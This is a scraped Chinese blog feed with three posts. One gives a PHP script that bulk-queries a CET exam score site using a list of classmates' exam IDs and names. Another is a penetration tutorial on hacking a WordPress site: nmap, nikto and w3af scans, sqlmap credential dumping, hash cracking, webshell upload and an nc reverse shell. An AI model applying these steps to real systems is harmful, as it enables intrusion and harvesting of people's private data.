<p>看了看他没成功的原因是没有加入referer:。</p>
<p>&nbsp;</p>
<p>POST /s HTTP/1.1<br>User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; U; zh-cn) Presto/2.10.229 Version/11.64<br>Host: cet.99sushe.com<br>Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, <em>/</em>;q=0.1<br>Accept-Language: zh-CN,zh;q=0.9,en;q=0.8<br>Accept-Encoding: gzip, deflate<br>Referer: <a href="http://cet.99sushe.com/" target="_blank" rel="external">http://cet.99sushe.com/</a><br>Cookie: CNZZDATA30023677=cnzz_eid%3D2104667147-1362148509-http%253A%252F%252Fcet.99sushe.com%26ntime%3D1362148509%26cnzz_a%3D0%26retime%3D1362148581357%26sin%3D%26ltime%3D1362148581357%26rtime%3D0; searchtime=1362148702<br>Connection: Keep-Alive<br>Content-Length: 36<br>Content-Type: application/x-www-form-urlencoded</p>
<p>id=360032122111423&amp;name=%D6%DC%D0%C7</p>
<p>&nbsp;</p>
<p>其实我一看就知道了，然后告诉他怎么做。自己也写了一个脚本。</p>
<p>发这些就够了，吐槽一下99sushe，广告太多了，内部人员弄的吧。</p>
<p>POST /s HTTP/1.1<br>User-Agent: Socket Example<br>Host: cet.99sushe.com<br>Referer: <a href="http://cet.99sushe.com/" target="_blank" rel="external">http://cet.99sushe.com/</a><br>Content-Length: 36<br>Content-Type: application/x-www-form-urlencoded</p>
<p>id=360032122111423&amp;name=%D6%DC%D0%C7</p>
<p>&nbsp;</p>
<p>下面看代码</p>
<p>function getCet($ID,$NAME)<br>{</p>
<p>$srv_ip = ‘cet.99sushe.com’;//目标服务地址<br>$srv_port = 80;<br>$url = ‘/s’; //post的URL<br>//$post_str = “id=360032122111423&amp;name=%D6%DC%D0%C7”;//要提交的内容.<br>$post_str = “id=”.$ID.”&amp;name=”.$NAME;<br>$fp = ‘’;<br>$resp_str = ‘’;<br>$errno = 0;<br>$errstr = ‘’;<br>$timeout = 10;</p>
<p>//echo $url_str;<br>if ($srv_ip == ‘’ || $url == ‘’){<br>echo(‘ip or dest url empty&lt;br&gt;’);<br>}<br>//echo($srv_ip);<br>$fp = fsockopen($srv_ip,$srv_port,$errno,$errstr,$timeout);<br>if (!$fp){<br>echo(‘fp fail’);<br>}<br>$content_length = strlen($post_str);<br>$post_header = “POST $url HTTP/1.1\r\n”;<br>$post_header .= “Content-Type: application/x-www-form-urlencoded\r\n”;<br>$post_header .= “User-Agent: MSIE\r\n”;<br>$post_header .= “Host: “.$srv_ip.”\r\n”;<br>$post_header .= “Referer: <a href="http://cet.99sushe.com/\r\n" target="_blank" rel="external">http://cet.99sushe.com/\r\n</a>“;<br>$post_header .= “Content-Length: “.$content_length.”\r\n”;<br>$post_header .= “Connection: close\r\n\r\n”;<br>$post_header .= $post_str.”\r\n\r\n”;</p>
<p>&nbsp;</p>
<p>fwrite($fp,$post_header);<br>// while(!feof($fp)){<br>// $resp_str .= fgets($fp,512);<br>// }</p>
<p>for($i=0;$i&lt;8;$i++){<br>$aa.= fgets($fp,512);}<br>$resp_str .= fgets($fp,512);<br>fclose($fp);<br>echo($resp_str);//返回值</p>
<p>}</p>
<p>代码比较简单，就是简单的拼接一下参数，然后post过去。</p>
<p>在学校下载所有学生的准考证号，导出到txt。开始一直读不出数据，用空格,tab分割数据，后面发现中间是以09分割.</p>
<p>09是什么字符？果断替换成20(空格)。</p>
<p>list.txt中是这样的</p>
<p>360031122105930 蔡钧泰<br>360031122107701 徐蔚然</p>
<p>查询的姓名只要前2个字，</p>
<p>比如我查：</p>
<p>360031122107701 徐蔚</p>
<p>然后就会返回：</p>
<p>6,159,177,46,100,482,江西财经大学,徐蔚然</p>
<p>我将结果保存在result。txt里面了。</p>
<p>&nbsp;</p>
<p>最终代码：</p>
<p>&nbsp;</p>
<p>&lt;?php</p>
<p>$handle = fopen(‘list.txt’,’r’);<br>if($handle) {<br>while (!feof($handle)) {<br>$buffer = fgets($handle,1024);<br>$brarray = explode(‘ ‘,$buffer);</p>
<p>$ID=$brarray[0];<br>$NAME=substr($brarray[1],0,4);</p>
<p>getCet($ID,$NAME);<br>}<br>fclose($handle);<br>}<br>function getCet($ID,$NAME)<br>{</p>
<p>$srv_ip = ‘cet.99sushe.com’;//目标服务地址<br>$srv_port = 80;<br>$url = ‘/s’; //post的URL<br>//$post_str = “id=360032122111423&amp;name=%D6%DC%D0%C7”;//要提交的内容.<br>$post_str = “id=”.$ID.”&amp;name=”.$NAME;<br>$fp = ‘’;<br>$resp_str = ‘’;<br>$errno = 0;<br>$errstr = ‘’;<br>$timeout = 10;</p>
<p>//echo $url_str;<br>if ($srv_ip == ‘’ || $url == ‘’){<br>echo(‘ip or dest url empty&lt;br&gt;’);<br>}<br>//echo($srv_ip);<br>$fp = fsockopen($srv_ip,$srv_port,$errno,$errstr,$timeout);<br>if (!$fp){<br>echo(‘fp fail’);<br>}<br>$content_length = strlen($post_str);<br>$post_header = “POST $url HTTP/1.1\r\n”;<br>$post_header .= “Content-Type: application/x-www-form-urlencoded\r\n”;<br>$post_header .= “User-Agent: MSIE\r\n”;<br>$post_header .= “Host: “.$srv_ip.”\r\n”;<br>$post_header .= “Referer: <a href="http://cet.99sushe.com/\r\n" target="_blank" rel="external">http://cet.99sushe.com/\r\n</a>“;<br>$post_header .= “Content-Length: “.$content_length.”\r\n”;<br>$post_header .= “Connection: close\r\n\r\n”;<br>$post_header .= $post_str.”\r\n\r\n”;</p>
<p>&nbsp;</p>
<p>fwrite($fp,$post_header);<br>// while(!feof($fp)){<br>// $resp_str .= fgets($fp,512);<br>// }</p>
<p>for($i=0;$i&lt;8;$i++){<br>$aa.= fgets($fp,512);}<br>$resp_str .= fgets($fp,512);<br>fclose($fp);<br>echo($resp_str);//返回值<br>file_put_contents(“result.txt”,$resp_str.”,”.$ID.”\r\n”,FILE_APPEND);</p>
<p>}<br>?&gt;</p>
<p>代码不要喷了。我是菜鸟。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130302005502.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130302005502.png" alt="QQ20130302005502"></a></p>
<p>3月10日，发现这个没有拉取全，就重新拉取一下，结果居然拉不下来。抓包看一下，原来他们添加了cookies，重新制作了一下，并且捏，给做成了 <a href="http://dlinux.sinaapp.com/code%e5%be%ae%e4%bf%a1%e5%b9%b3%e5%8f%b0%e9%85%b1%e8%8f%9c%e5%b0%8f%e5%8a%a9%e6%89%8b/" title="[CODE]微信平台酱菜小助手" target="_blank" rel="external">微信平台查询cet4，6级</a>，</p>
<p>下载地址：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/4，6级批量查分.zip" target="_blank" rel="external">4，6级批量查分代码</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>今天4级成绩出来了，考了3趟啊，总算过了。</p>
<p>话说第一次考424然后426过的没几个人吧。暗爽</p>
<p>一个同学问我js好不，一问才知道他想批量拉取cet4，6级成绩。</p>
<p>好吧，我弄了一下午的采集也没什么成果，就干这个吧。</p>
<p>bru]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[把博客主题修改了一下]]></title>
    <link href="http://doubles.me/2013/03/01/517/"/>
    <id>http://doubles.me/2013/03/01/517/</id>
    <published>2013-03-01T11:35:31.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>使用的是it客栈基于8090st制作的模仿ipc.me主题模板。</p>
<p>是不是感觉很绕，现在很清新的感觉，不过我还是不喜欢这种色调，看ipc的就感觉不错。</p>
<p>这个的色调不杂对头。</p>
<p>去掉了一些无用的信息，修改为自己网站；</p>
<p>游客头像修改为萌系的咯。</p>
<p>logo就不要追究了。有点丑</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/DLinuX1.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/DLinuX1.png" alt="DLinuX"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>使用的是it客栈基于8090st制作的模仿ipc.me主题模板。</p>
<p>是不是感觉很绕，现在很清新的感觉，不过我还是不喜欢这种色调，看ipc的就感觉不错。</p>
<p>这个的色调不杂对头。</p>
<p>去掉了一些无用的信息，修改为自己网站；</p>
<p>游客头]]>
    </summary>
    
      <category term="杂碎" scheme="http://doubles.me/tags/%E6%9D%82%E7%A2%8E/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[黑客是怎样入侵你的网站的]]></title>
    <link href="http://doubles.me/2013/02/24/390/"/>
    <id>http://doubles.me/2013/02/24/390/</id>
    <published>2013-02-24T07:16:56.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>通过本文你将了解黑客常用的入手思路和技术手法，适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的.阅读本文你会学到以下内容：</p>
<p>1.渗透测试前的简单信息收集。</p>
<p>2.sqlmap的使用</p>
<p>3.nmap的使用</p>
<p>4.nc反弹提权</p>
<p>5.linux系统的权限提升</p>
<p>6.backtrack 5中渗透测试工具nikto和w3af的使用等.</p>
<p>假设黑客要入侵的你的网站域名为:hack-test.com</p>
<p>让我们用ping命令获取网站服务器的IP地址.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/02/11.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/02/11.png" alt="Web信息安全" title="1"></a></p>
<p>现在我们获取了网站服务器的IP地址为:173.236.138.113</p>
<p>寻找同一服务器上的其它网站，我们使用sameip.org.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033537jjM.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033537jjM.png" alt="渗透测试" title="2"></a></p>
<p>26 sites hosted on IP Address 173.236.138.113</p>
<p><table border="0"><colgroup> <col> <col> <col></colgroup></table></p>
<p><tbody valign="top"></tbody></p>
<p><tr></tr></p>
<p><td valign="center"><strong>ID</strong></td></p>
<p><td valign="center"><strong>Domain</strong></td></p>
<p><td valign="center"><strong>Site Link</strong></td><br></p>
<p><tr></tr></p>
<p><td valign="center">1</td></p>
<p><td valign="center">hijackthisforum.com</td></p>
<p><td valign="center"><a href="http://www.hijackthisforum.com/" title="visit hijackthisforum.com" target="_blank" rel="external">hijackthisforum.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">2</td></p>
<p><td valign="center">sportforum.net</td></p>
<p><td valign="center"><a href="http://www.sportforum.net/" title="visit sportforum.net" target="_blank" rel="external">sportforum.net</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">3</td></p>
<p><td valign="center">freeonlinesudoku.net</td></p>
<p><td valign="center"><a href="http://www.freeonlinesudoku.net/" title="visit freeonlinesudoku.net" target="_blank" rel="external">freeonlinesudoku.net</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">4</td></p>
<p><td valign="center">cosplayhell.com</td></p>
<p><td valign="center"><a href="http://www.cosplayhell.com/" title="visit cosplayhell.com" target="_blank" rel="external">cosplayhell.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">5</td></p>
<p><td valign="center">videogamenews.org</td></p>
<p><td valign="center"><a href="http://www.videogamenews.org/" title="visit videogamenews.org" target="_blank" rel="external">videogamenews.org</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">6</td></p>
<p><td valign="center">gametour.com</td></p>
<p><td valign="center"><a href="http://www.gametour.com/" title="visit gametour.com" target="_blank" rel="external">gametour.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">7</td></p>
<p><td valign="center">qualitypetsitting.net</td></p>
<p><td valign="center"><a href="http://www.qualitypetsitting.net/" title="visit qualitypetsitting.net" target="_blank" rel="external">qualitypetsitting.net</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">8</td></p>
<p><td valign="center">brendanichols.com</td></p>
<p><td valign="center"><a href="http://www.brendanichols.com/" title="visit brendanichols.com" target="_blank" rel="external">brendanichols.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">9</td></p>
<p><td valign="center">8ez.com</td></p>
<p><td valign="center"><a href="http://www.8ez.com/" title="visit 8ez.com" target="_blank" rel="external">8ez.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">10</td></p>
<p><td valign="center">hack-test.com</td></p>
<p><td valign="center"><a href="http://www.hack-test.com/" title="visit hack-test.com" target="_blank" rel="external">hack-test.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">11</td></p>
<p><td valign="center">kisax.com</td></p>
<p><td valign="center"><a href="http://www.kisax.com/" title="visit kisax.com" target="_blank" rel="external">kisax.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">12</td></p>
<p><td valign="center">paisans.com</td></p>
<p><td valign="center"><a href="http://www.paisans.com/" title="visit paisans.com" target="_blank" rel="external">paisans.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">13</td></p>
<p><td valign="center">mghz.com</td></p>
<p><td valign="center"><a href="http://www.mghz.com/" title="visit mghz.com" target="_blank" rel="external">mghz.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">14</td></p>
<p><td valign="center">debateful.com</td></p>
<p><td valign="center"><a href="http://www.debateful.com/" title="visit debateful.com" target="_blank" rel="external">debateful.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">15</td></p>
<p><td valign="center">jazzygoodtimes.com</td></p>
<p><td valign="center"><a href="http://www.jazzygoodtimes.com/" title="visit jazzygoodtimes.com" target="_blank" rel="external">jazzygoodtimes.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">16</td></p>
<p><td valign="center">fruny.com</td></p>
<p><td valign="center"><a href="http://www.fruny.com/" title="visit fruny.com" target="_blank" rel="external">fruny.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">17</td></p>
<p><td valign="center">vbum.com</td></p>
<p><td valign="center"><a href="http://www.vbum.com/" title="visit vbum.com" target="_blank" rel="external">vbum.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">18</td></p>
<p><td valign="center">wuckie.com</td></p>
<p><td valign="center"><a href="http://www.wuckie.com/" title="visit wuckie.com" target="_blank" rel="external">wuckie.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">19</td></p>
<p><td valign="center">force5inc.com</td></p>
<p><td valign="center"><a href="http://www.force5inc.com/" title="visit force5inc.com" target="_blank" rel="external">force5inc.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">20</td></p>
<p><td valign="center">virushero.com</td></p>
<p><td valign="center"><a href="http://www.virushero.com/" title="visit virushero.com" target="_blank" rel="external">virushero.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">21</td></p>
<p><td valign="center">twincitiesbusinesspeernetwork.com</td></p>
<p><td valign="center"><a href="http://www.twincitiesbusinesspeernetwork.com/" title="visit twincitiesbusinesspeernetwork.com" target="_blank" rel="external">twincitiesbusinesspeernetwork.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">22</td></p>
<p><td valign="center">jennieko.com</td></p>
<p><td valign="center"><a href="http://www.jennieko.com/" title="visit jennieko.com" target="_blank" rel="external">jennieko.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">23</td></p>
<p><td valign="center">davereedy.com</td></p>
<p><td valign="center"><a href="http://www.davereedy.com/" title="visit davereedy.com" target="_blank" rel="external">davereedy.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">24</td></p>
<p><td valign="center">joygarrido.com</td></p>
<p><td valign="center"><a href="http://www.joygarrido.com/" title="visit joygarrido.com" target="_blank" rel="external">joygarrido.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">25</td></p>
<p><td valign="center">prismapp.com</td></p>
<p><td valign="center"><a href="http://www.prismapp.com/" title="visit prismapp.com" target="_blank" rel="external">prismapp.com</a></td><br></p>
<p><tr></tr></p>
<p><td valign="center">26</td></p>
<p><td valign="center">utiligolf.com</td></p>
<p><td valign="center"><a href="http://www.utiligolf.com/" title="visit utiligolf.com" target="_blank" rel="external">utiligolf.com</a></td><br><br><br><br>173.236.138.113上有26个网站，很多黑客为了攻破你的网站可能会检查同服务器上的其它网站，但是本次是以研究为目标，我们将抛开服务器上的其它网站，只针对你的网站来进行入侵检测。</p>
<p>We’ll need more information about your site, such as:</p>
<p>我们需要关于你网站的以下信息：</p>
<p><pre>1.DNS记录（A,NS,TXT,MX 和SOA）<br>2.网站服务器的类型（Apache,IIS,Tomcat）<br>3.域名的注册信息（哪个公司拥有这个域名）<br>4.你的名字，地址，EMAIL和电话<br>5.你的网站上所运行的脚本类型（PHP,ASP,ASP.NET,JSP,CFM）<br>6.服务器的操作系统类型（Unix,Linux,Windows,Solaris）<br>7.服务器对外开放的端口（80,443,21,等）</pre><br>让我们开始找你网站的DNS记录，我们用who.is来完成这一目标.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033556Cnp.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033556Cnp.png" alt="入侵检测" title="3"></a></p>
<p>我们发现你的DNS记录如下</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033610v7Y.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033610v7Y.jpg" alt="web安全" title="4"></a></p>
<p>让我们来确定web服务器的类型</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0336298j2.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0336298j2.png" alt="渗透测试" title="5"></a></p>
<p>发现你的W eb服务器是apache，接下来确定它的版本.</p>
<p><code>**HACK-TEST.COM SITE INFORMATION
**</code></p>
<p><code>IP: [173.236.138.113](http://www.who.is/whois-ip/173.236.138.113/)
Website Status: [active](http://www.hack-test.com/)
Server Type: Apache
Alexa Trend/Rank: ![](http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/03363089c.jpg) 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: ![](http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033630bXx.jpg) 1 Month: 2.0 3 Month: 3.7</code></p>
<p>接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033639jhS.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033639jhS.png" alt="渗透测试" title="6"></a></p>
<p>我们现在已经获取了你的网站域名的注册信息，包括你的重要信息等.我们可以通过backtrack 5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033641X9q.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033641X9q.png" alt="backtrack 5" title="7"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033643n2v.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033643n2v.png" alt="backtrack 5" title="8"></a></p>
<p>我们发现你的网站使用了著名的php整站程序wordpress，服务器的的系统类型为Fedora Linux，Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口，用渗透测试工具nmap:</p>
<p><strong>1-Find services that run on server(查看服务器上运行的服务)</strong></p>
<p><em>root@bt:~# nmap -sV hack-test.com</em><br><em>Starting Nmap 6.01 ( <a href="http://nmap.org" target="_blank" rel="external">http://nmap.org</a> ) at 2013-02-24 02:13 EST</em><br><em>Nmap scan report for hack-test.com (173.236.164.23)</em><br><em>Host is up (0.27s latency).</em><br><em>rDNS record for 173.236.164.23: apache2-bongo.carter-braxton.dreamhost.com</em><br><em>Not shown: 993 filtered ports</em><br><em>PORT STATE SERVICE VERSION</em><br><em>21/tcp open ftp ProFTPD</em><br><em>22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)</em><br><em>25/tcp open smtp Postfix smtpd</em><br><em>80/tcp open http Apache httpd</em><br><em>587/tcp open smtp Postfix smtpd</em><br><em>5222/tcp open jabber Jabber instant messaging server</em><br><em>5269/tcp open jabber Jabber instant messaging server</em><br><em>Service Info: Host: carter-braxton.dreamhost.com; OS: Linux; CPE: cpe:/o:linux:kernel</em><br><em>Service detection performed. Please report any incorrect results at <a href="http://nmap.org/submit/" target="_blank" rel="external">http://nmap.org/submit/</a> .</em><br><em>Nmap done: 1 IP address (1 host up) scanned in 70.35 seconds</em><br><strong>2-Find server OS(查看操作系统版本)</strong></p>
<p>root@bt:~# nmap -O hack-test.com</p>
<p>Starting Nmap 6.01 ( <a href="http://nmap.org" target="_blank" rel="external">http://nmap.org</a> ) at 2013-02-24 03:29 EST<br>Nmap scan report for hack-test.com (173.236.164.23)<br>Host is up (0.28s latency).<br>rDNS record for 173.236.164.23: apache2-bongo.carter-braxton.dreamhost.com<br>Not shown: 993 filtered ports<br>PORT STATE SERVICE<br>21/tcp open ftp<br>22/tcp open ssh<br>25/tcp open smtp<br>80/tcp open http<br>587/tcp open submission<br>5222/tcp open xmpp-client<br>5269/tcp open xmpp-server<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete<br>No OS matches for host</p>
<p>OS detection performed. Please report any incorrect results at <a href="http://nmap.org/submit/" target="_blank" rel="external">http://nmap.org/submit/</a> .</p>
<p>没找到操作系统，奇怪了。和以前的教程不一样，上面ip也改了，同时子站也只剩一个了。</p>
<p>Nmap的操作系统检测的基础是有开放和关闭的端口，如果OS scan无法检测到至少一个开放或者关闭的端口，会返回以下错误：</p>
<p>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port</p>
<p>加上 –osscan-guess 也没找到。linux是坑定的<br>现在我们已经收集了所有关于你网站的重要信息, 接下来开始扫描寻找漏洞,比如:</p>
<p>Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.</p>
<p>我们将使用Nikto来收集漏洞信息:</p>
<p><strong>root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com</strong></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033715leP.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033715leP.png" alt="渗透测试工具backtrack 5" title="11"></a><br>我们也会用到Backtrack 5 R1中的W3AF 工具:</p>
<p><strong>root@bt:/pentest/web/w3af# ./w3af_gui</strong></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033726wq1.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033726wq1.png" alt="渗透测试工具w3af" title="12"></a></p>
<p>我们输入要检测的网站地址,选择完整的安全审计选项.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0337477d1.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0337477d1.png" alt="渗透测试全过程" title="13"></a></p>
<p>稍等一会，你将会看到扫描结果.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033800goJ.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033800goJ.png" alt="web入侵检测" title="14"></a></p>
<p>发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.</p>
<p><a href="http://hack-test.com/Hackademic_RTB1/?cat=d" target="_blank" rel="external">http://hack-test.com/Hackademic_RTB1/?cat=d</a>％27z％220</p>
<p>我们通过工具发现这个URL存在SQL注入，我们通过Sqlmap来检测这个url.</p>
<p>Using sqlmap with –u url</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033843i8p.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033843i8p.png" alt="sqlmap使用教程" title="17"></a></p>
<p>过一会你会看到</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033847G3z.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033847G3z.png" alt="sqlmap使用教程" title="18"></a></p>
<p>输入N按回车键继续</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033906Gdf.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033906Gdf.png" alt="sqlmap使用教程" title="19"></a></p>
<p>我们发现你的网站存在mysql显错注入，mysql数据库版本是5.0. 我们通过加入参数”-dbs”来尝试采集数据库名.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033908ogx.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033908ogx.png" alt="sqlmap使用教程" title="20"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033915DFA.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033915DFA.png" alt="sqlmap读取数据库名" title="21"></a></p>
<p>发现三个数据库,接下来通过参数”-D wordpress -tables”来查看wordpress数据库的所有表名</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033923xvP.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033923xvP.png" alt="sqlmap读取数据库中的表" title="22"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033932N8Y.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/033932N8Y.png" alt="sqlmap读取数据库中的表" title="23"></a></p>
<p>通过参数“-T wp_users –columns ”来查看wp_users表中的字段.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0339413ad.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0339413ad.png" alt="sqlmap使用教程" title="24"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034024Ffd.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034024Ffd.png" alt="sqlmap使用教程" title="25"></a></p>
<p>接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass –dump”</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0340455zY.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0340455zY.png" alt="" title="26"></a></p>
<p>我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes</p>
<p><a href="http://www.onlinehashcrack.com/free-hash-reverse.php" target="_blank" rel="external">http://www.onlinehashcrack.com/free-hash-reverse.php</a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034055giO.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034055giO.png" alt="hash在线破解" title="27"></a></p>
<p>登陆wordpress的后台wp-admin</p>
<p>尝试上传php webshell到服务器，以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件. 我们选择Textile这款插件，编辑插入我们的php webshell，点击更新文件，然后访问我们的php webshell.<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034116vAU.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034116vAU.png" alt="上传漏洞获得webshell" title="28"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0341256aB.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/0341256aB.png" alt="上传漏洞获得webshell" title="29"></a></p>
<p>Php webshell被解析了，我们可以控制你网站的文件，但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。</p>
<p>我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034130Xjn.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034130Xjn.png" alt="NC反弹" title="32"></a></p>
<p>然后在Php webshell上反向连接我们的电脑，输入你的IP和端口5555.<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034145p83.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/02/034145p83.png" alt="NC反弹" title="31"></a></p>
